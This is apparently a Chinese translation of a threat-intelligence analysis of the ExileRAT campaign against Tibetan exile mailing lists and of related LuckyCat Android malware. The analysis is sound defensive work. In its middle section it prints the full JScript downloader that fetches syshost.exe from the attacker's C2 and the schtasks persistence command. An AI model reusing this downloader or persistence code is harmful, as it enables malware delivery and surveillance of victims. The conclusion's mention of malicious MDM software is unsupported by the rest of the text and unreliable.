ExileRAT與LuckyCat共享C2基礎設施
摘要
Cisco Talos研究人員發現一起代表西藏海外流亡組織(Central Tibetan Administration, CTA)的郵件列表來傳播惡意PowerPoint檔案的攻擊活動。攻擊中使用的文件是PPSX格式的,PPSX是PowerPoint放映檔案格式。研究人員發現來自CTA郵件列表中的郵件中含有一個PPSX格式的附件,名為Tibet-was-never-a-part-of-China.ppsx。根據惡意軟體的本質和攻擊的目標,研究人員認為這更像是為了監控而不是處於經濟目的。
惡意office文件
研究人員首先分析惡意文件,發現與其他攻擊活動共享基礎設施和payload。該活動中的C2基礎設施與之前分析過的LuckyCat安卓和Windows木馬有關。該C2的發現讓人們識別出許多位於該C2的payload、配置等。該惡意PPSX檔案是作為釋放器允許攻擊者執行不同的JS指令碼來下載payload。
傳送到CTA郵件列表的PPSX檔案如下所示:
CTA郵件列表中的每個人都會收到該郵件。該郵件列表的基礎設施是一家位印度公司運營的。攻擊者修改了CTA郵件使用的標準Reply-To header這樣所有的響應會回到屬於攻擊者的郵件地址mediabureauin [at] gmail.com。
郵件訊息本身引用了即將到來的達賴喇嘛3月31日的60週年慶典。文件有240張幻燈片,自稱是由CTA建立的。
PPSX文件實際上是從tibet.net主頁下載的合法PDF文件的副本。PPSX檔名也與PDF檔名是一致的,這說明攻擊者濫用了該文件。
攻擊者在攻擊中利用了CVE-2017-0199漏洞,office文件中的任意程式碼執行漏洞。該漏洞利用來源於GitHub上的一個公開指令碼,程式碼位於slide1.xml.rels檔案中。訪問該檔案的最好辦法是解壓或inflate PPSX檔案來檢視整個文件的內容。該檔案位於/ppt/slides/_rels資料夾中。
命令解碼為script:hXXp:\\27.126.188[.]212:8005\aqqee,當前是URL編碼的。
相同的指令碼濫用了app.xml檔案。但埠號是不準確的,指令碼其實並沒有執行,也沒有到TCP 8003埠的請求。
指令碼在Threat Grid上執行的動態分析:
PPSX也會聯絡iplocation來執行有些地理位置相關的查詢。
這會執行到C2伺服器的HTTP請求,尤其是到資源aqqee。在響應的body中,研究人員看到一個偽造的HTTP響應日期Sun 16 Apr 2017。
然後C2會傳播一個負責從C2下載payload syshost.exe的JS指令碼。
然後通過WScript執行,並使用cmd.exe來建立計劃任務Diagnostic_System_Host。
<script language='JScript'> <![CDATA[ function getTempPath(){var wshshell=new ActiveXObject('WScript.Shell');var TempPath=wshshell.SpecialFolders('AppData');TempPath+='\\';return TempPath;};var filepath=getTempPath()+'syshost.exe';function DownURL(strRemoteURL, strLocalURL){var xmlHTTP = new ActiveXObject("Microsoft.XMLHTTP");xmlHTTP.open("Get",strRemoteURL,false);xmlHTTP.send();var adodbStream = new ActiveXObject("ADODB.Stream");adodbStream.Type = 1;adodbStream.Open();adodbStream.write(xmlHTTP.responseBody);adodbStream.SaveToFile(strLocalURL,2);adodbStream.Close();adodbStream = null;xmlHTTP = null;};DownURL("hXXp://27.126.188[.]212/2/syshost.exe",filepath);function execShell(cmdstr){var oS = new ActiveXObject('WScript.Shell');var shellcmd = 'cmd.exe /c '+cmdstr;var o = oS.Run(shellcmd,0,false);};execShell('schtasks \/create \/sc minute \/mo 1 \/tn Diagnostic_System_Host \/tr '+filepath); ]]> </script>
該計劃任務是通過cmd.exe輸入來建立的,使用的名字Diagnostic_System_Host與合法系統任務名Diagnostic System Host非常相似,唯一的區別是沒有下劃線,這應該是惡意軟體繞過檢測的一種方法。
"C:\Windows\System32\cmd.exe" /c schtasks /create /sc minute /mo 1 /tn Diagnostic_System_Host /tr C:\Users\Administrator\AppData\Roaming\syshost.exe
EXILERAT惡意軟體: SYSHOST.EXE
受感染的系統執行的是來源於C2的syshost.exe,也叫做ExileRAT。編譯的日期與攻擊活動時間是匹配的,即2019年1月30日。
ExileRAT的第一步就是執行IP location查詢,並把資料寫入c:\data.ini檔案中。
研究人員在PE檔案中識別出:
C2也是硬編碼在PE檔案中的:
ExileRAT是一個簡單的RAT平臺,可以收集系統中的資訊、獲取和推送檔案、執行或終止程序。
C2基礎設施
攻擊活動中使用的C2是27.126.188.212,研究人員在C2上還發現其他含有.exe和.dll檔案的開放目錄,這些.exe和.dll檔案有AcroRd32.exe和ccL100U.dll。這些檔案在C2的/1目錄下,攻擊活動使用的PPSX檔案在/2目錄下。研究人員猜測攻擊者複用了C2基礎設施用於其他的攻擊活動,目錄中的日誌檔案robins.log中有到TCP 8005埠的請求。
在對C2的分析中,研究人員發現多個域名都使用了該IP地址,包括mondaynews[.]tk, peopleoffreeworld[.]tk和gmailcom[.]tw。攻擊者應該是為了在釣魚活動中誘騙使用者模擬了Google的域名。
LUCKYCAT ANDROID RAT
Syshost.exe硬編碼的C2伺服器IP使用的域名就是mondaynews[.]tk。該域名也是LuckyCat Android RAT在1月3日建立的域名,該木馬是LuckyCat 2012年RAT版本的一個新變種。在這些攻擊中,新變種除了2012版本中含有的檔案上傳、下載、資訊竊取、遠端shell功能以外,還加入了檔案移除、app執行、音訊錄製、竊取個人通訊錄、SMS竊取、最近通訊竊取、位置資訊竊取等。2012年的命令型別如下左側、2019年的入下右側:
這兩個版本都共享相同的檔名,大多數程式碼直接是複製貼上的:
App中也包含了百度地圖API:
惡意軟體會檢查裝置上安裝的app是否有root許可權,如果有,應用會修改特定目錄/data/data/com.tencent.mm/的許可權:
在目錄中,研究人員發現了微信的加密金鑰。因為LuckyCat Android RAT的監控屬性,研究人員斷言惡意軟體修改許可權允許攻擊者來提取這些key,然後解密聊天訊息的內容。
惡意軟體會在tecent目錄執行chmod 777。這是通過允許惡意軟體訪問特定目錄來獲取檔案、key和其他資料。然後攻擊者可以利用惡意軟體的upload命令來竊取資訊。
結論
本次攻擊活動是通過惡意手機裝置管理軟體(mobile device management, MDM)實現的。PPSX文件使用了CVE-2017-0199漏洞來使受害者下載額外的payload。通過分析惡意軟體的本質和攻擊的目標,研究人員認為這更像是為了監控而不是出於經濟目的。